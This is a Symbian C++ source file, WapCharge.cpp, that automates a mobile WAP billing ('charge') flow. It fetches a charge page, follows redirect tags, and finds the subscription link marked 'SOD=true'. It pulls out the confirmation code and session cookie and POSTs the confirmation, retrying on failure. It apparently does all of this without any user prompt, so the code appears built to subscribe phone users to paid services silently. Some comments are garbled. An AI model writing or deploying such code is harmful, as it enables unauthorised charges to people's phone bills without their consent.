/*
 ============================================================================
 Name		: WapCharge.cpp
 Author	  : ceze
 Version	 : 1.0
 Copyright   : FlashBox for ver.Zhongyou(���ʰ�)
 Description : CWapCharge implementation
 ============================================================================
 */

#include "WapCharge.h"
#include "FbUtils.h"

#ifdef _DEBUG
#include <e32debug.h>
#include "log.h"
#endif

//标签定义
_LIT8(KTagOnEnterForward, "onenterforward");
_LIT8(KTagOnTimer, "ontimer");



CWapCharge::CWapCharge () :
	CActive (EPriorityStandard ), // Standard priority
	m_isSod(EFalse),
    m_chargeTryTimes(0),
	m_isRedirect(EFalse)
{
}

CWapCharge* CWapCharge::NewLC ()
{
	CWapCharge* self = new (ELeave) CWapCharge ();
	CleanupStack::PushL (self );
	self->ConstructL ();
	return self;
}

CWapCharge* CWapCharge::NewL ()
{
	CWapCharge* self = CWapCharge::NewLC ();
	CleanupStack::Pop (); // self;
	return self;
}

void CWapCharge::ConstructL ()
{
	User::LeaveIfError (iTimer.CreateLocal () ); // Initialize timer
	CActiveScheduler::Add (this ); // Add to scheduler
}

CWapCharge::~CWapCharge ()
{
	Cancel (); // Cancel any request, if outstanding
	iTimer.Close (); // Destroy the RTimer object
	
	delete m_pChargeUrl;
	// Delete instance variables if any
}

void CWapCharge::DoCancel ()
{
	iTimer.Cancel ();
}

void CWapCharge::StartL (TTimeIntervalMicroSeconds32 aDelay )
{
	Cancel (); // Cancel any request, just to be sure
	iState = EUninitialized;
	iTimer.After (iStatus, aDelay ); // Set for later
	SetActive (); // Tell scheduler a request is active
}

void CWapCharge::RunL ()
{
	if (iState == EUninitialized )
	{
		// Do something the first time RunL() is called
		iState = EInitialized;
	}
	else
		if (iState != EError )
		{
			// Do something
		}
	iTimer.After (iStatus, 1000000 ); // Set for 1 sec later
	SetActive (); // Tell scheduler a request is active
}

TInt CWapCharge::RunError (TInt aError )
{
	return aError;
}

//开始点播
TBool CWapCharge::ChargeL(const TDesC8 &aChargeUri )
{
	if(!m_pChargeUrl)
		m_pChargeUrl = aChargeUri.AllocL();
	
	GetAppUi()->IssueHttpGetL(this, aChargeUri, 0,  EFalse, 10, ETrue);
	m_chargeTryTimes++;
	
	//GetAppUi()->IssueHttpPostL(this, aChargeUri,KNullDesC8, KNullDesC8, 0,  EFalse, 10, ETrue);
	return ETrue;
}


////////////////////MWebClientObserver接口函数//////////////
/**
 * WebClientEvent()
 * Called when event occurs in CWebClientEngine.
 * @param aEventDescription: A event in textual format, e.g.
 *                           "Transaction Successful"
 */
void CWapCharge::WebClientEvent (const TInt aEvent, TInt aSessionId, TInt aCode)
{
#ifdef _DEBUG
	RDebug::Printf("<<<Web Event : %08x", aEvent);
#endif
	switch(aEvent)
	{
		case KHttpTransactionSucceed://连接完成
			
			break;
		case KHttpServerError://失败败
			
			break;
		case KHttpTransactionFailed://����������ϴ���
		case KHttpTransactionError:
		case KHttpMHFRunError:
			
			break;
		case KHttpTransactionCancel://����ȡ��
			
			break;
		case KHttpHeaderContentLength://��ݷ�!����֪ͨ�¼�
			//TInt len = aCode;
			
			break;
		case KHttpBodyPartReceived:
			//TInt rLen = aCode;
			
			break;
		case KHttpBodyReceived:
			break;
		case KHttpResponseCode:
			if(aCode == 302)
			{
				m_isRedirect = ETrue;
			}
#ifdef _DEBUG
			RDebug::Printf("<<<Response Code = %d", aCode);
#endif
			break;
	}
}

/**
 * WebClientHeaderReceived()
 * Called when HTTP header is received.
 * @param aHeaderData: Header field name and value
 */
void CWapCharge::WebClientHeaderReceived (const TDesC8& aHeaderFiled, const TDesC8& aHeaderVal, TInt aSessionId )
{
	if(m_isRedirect)
	{
		if(aHeaderFiled.CompareF(_L8("Location")) == 0)
		{
			//跳转
			GetAppUi()->IssueHttpGetL(this, aHeaderVal, KSessionRedirect,  EFalse, 10, ETrue);	
		}
	}
#ifdef _DEBUG
	RDebug::Printf("< %s : %s", (const char*)aHeaderFiled.Ptr(), (const char*)aHeaderVal.Ptr());
	RLog::Log(aHeaderFiled, aHeaderVal);
#endif
}

/**
 * WebClientBodyReceivedComplete()
 * Called when a part of the HTTP body is received.
 * @param aBodyData:  Part of the body data received. (e.g. part of
 *                    the received HTML page)
 */
void CWapCharge::WebClientBodyReceivedComplete (const TDesC8& aBodyData, TInt aSessionId )
{
#ifdef _DEBUG
	RLog::Log(_L8("BReceive:>>>>  "), aBodyData);
#endif
	if(m_isRedirect)
	{
		if(aSessionId != KSessionRedirect)
			return;
		else
			m_isRedirect = EFalse;
	}
	
	ParsePayL(aBodyData);
}

/**
 * 
 */
void CWapCharge::ClientBodyReceived (const TDesC8& aBodyData, TBool aIsLast )
{
	
}

//解析定购计费
void CWapCharge::ParsePayL(const TDesC8& aDes)
{
	TInt errCode = KErrNone;
	
	HBufC8 *pResponseDes = aDes.AllocLC();
	TPtr8 ptr(pResponseDes->Des());
	//ptr.LowerCase();
	//
	FindErrorL(ptr, errCode);
	if(errCode != KErrNone)
	{
		//出现错误
		//...do something
		
		CleanupStack::PopAndDestroy(pResponseDes);
		if(m_chargeTryTimes < 2)
		{
			//retr
			if(m_pChargeUrl)
				ChargeL(m_pChargeUrl->Des());
		}
		return;
	}
	
	TInt pos = -1;

	if ((pos = ptr.Find (_L8("<card"))) == KErrNotFound )
	{
		//没找到<card, 数据有误
		CleanupStack::PopAndDestroy(pResponseDes);
		if(m_chargeTryTimes < 2)
		{
			//retry
			if(m_pChargeUrl)
				ChargeL(m_pChargeUrl->Des());
		}
		return;
	}
	
	//截去<card 之前的内容
	ptr = ptr.MidTPtr (pos );
		
	//1.判断是否需要跳转页面
	TBool isRedirect = EFalse;
	if((pos  = ptr.Find(KTagOnEnterForward)) != KErrNotFound || 
		( pos = ptr.Find(KTagOnTimer)) != KErrNotFound)
	{
		//需要重定向
		isRedirect = ETrue;
		if (m_isSod )
		{
			//计费成功
		}
		else
		{
			ptr = ptr.MidTPtr (pos );
			//查找重定向地址http
			pos = ptr.Find (_L8("href=\"http://"));
			if (pos != KErrNotFound )
			{
				ptr = ptr.MidTPtr (pos + 6 );
				pos = ptr.Find (_L8("\""));
				ptr = ptr.LeftTPtr (pos );
				//替换转义字符
				ParseURL (ptr );
				//发送请求
				//GetAppUi ()->IssueHttpPostL (this, ptr, KNullDesC8, KNullDesC8, 0, EFalse, 10, ETrue );
				GetAppUi()->IssueHttpGetL(this, ptr, EFalse, 10, ETrue);
			}
		}
		CleanupStack::PopAndDestroy (pResponseDes );
		return;
		
	}
	
	
	//2.解析计费点播地址
	HBufC8 *pSodUrl = NULL;
	while((pos = ptr.Find(_L8("href=\"http://"))) != KErrNotFound)
	{
		//读取<go sendreferer="true" href="http://218.200.244.92/PullServlet;xid=J7ptsGcQ!-1093361499!529616113?SOD=true&amp;MISC_U=http://211.157.8.68:8088/qw/s/dmhlw/download.aspx&amp;t=53997"  method="post" >
		ptr = ptr.MidTPtr(pos + 6);
		pos = ptr.Find(_L8("\""));//结束位置
		pSodUrl = ptr.Left(pos).AllocL();//
		ptr =ptr.MidTPtr(pos);
		if(pSodUrl->Find(_L8("SOD=true")) != KErrNotFound)
		{
			//url中有SOD = true, 为正确点播地址
			break;
		}
		else
		{
			if(pSodUrl)
			{
				delete pSodUrl;
				pSodUrl = NULL;
			}
		}
	}
	
	if(pSodUrl)
	{
		HBufC8 *pPostData;
		//查找rcode,  组成pPostData
		if((pos = ptr.Find(_L8("<postfield"))) != KErrNotFound)
		{
			HBufC8 *pName;
			HBufC8 *pValue;
			
			ptr = ptr.MidTPtr(pos + 10);//10 = len(<postfield)
			//<postfield name="rcode" value="123704900569"/>
			pos = ptr.Find(_L8("name="));
			ptr = ptr.MidTPtr(pos + 6);// 6 = len(name=")
			pos = ptr.Find(_L8("\""));//name end
			pName = ptr.Left(pos).AllocLC();
			
			pos = ptr.Find(_L8("value="));
			ptr = ptr.MidTPtr(pos + 7);// 7 = len(value=")
			pos = ptr.Find(_L8("\""));//value end
			pValue = ptr.Left(pos).AllocLC();
			pPostData = HBufC8::NewL(pName->Length() + pValue->Length() + 1);
			pPostData->Des().Copy(pName->Des());
			pPostData->Des().Append(_L8("="));
			pPostData->Des().Append(pValue->Des());
			
			CleanupStack::PopAndDestroy(2);
		}
		
		//替换转义字符
		TPtr8 sodUri(pSodUrl->Des());
		ParseURL(sodUri);
		//Cookie
		HBufC8 *pCookie = sodUri.AllocLC();
		TPtr8 cookie(pCookie->Des());
		if((pos = cookie.Find(_L8("xid="))) != KErrNotFound)
		{
			cookie = cookie.MidTPtr(pos);
			pos = cookie.Find(_L8("?"));
			cookie = cookie.Left(pos);
		}
		else
		{
			cookie.Copy(KNullDesC8);
		}
		//发送请求
		GetAppUi()->IssueHttpPostL(this, sodUri, *pPostData, cookie, 
				0,  EFalse, 10, ETrue);
		m_isSod = ETrue;
		CleanupStack::PopAndDestroy(pCookie);
		
		if(pPostData)
		{
			delete pPostData;
			pPostData = NULL;
		}
		delete pSodUrl;
		pSodUrl = NULL;
		CleanupStack::PopAndDestroy(pResponseDes);
	}
	else
	{
		CleanupStack::PopAndDestroy(pResponseDes);
		if(m_chargeTryTimes < 2)
		{
			//retr
			if(m_pChargeUrl)
				ChargeL(m_pChargeUrl->Des());
		}
	}
	
	
}

//判断页面信息是否正确
void CWapCharge::FindErrorL(const TDes8& aDes, TInt &errCode)
{
	errCode = KErrNone;
}


//处理Url连接(将&amp;替换成&
void CWapCharge::ParseURL(TDes8 &aUrl)
{
	TInt pos = 0;
	while (pos < aUrl.Length ())
	{
		pos = aUrl.Find (_L8("&amp;"));
		if (pos == KErrNotFound )
			break;//未找到"&amp;"，跳出循环
		aUrl.Delete (pos + 1, 4 );//删除"amp;"
	}			
}




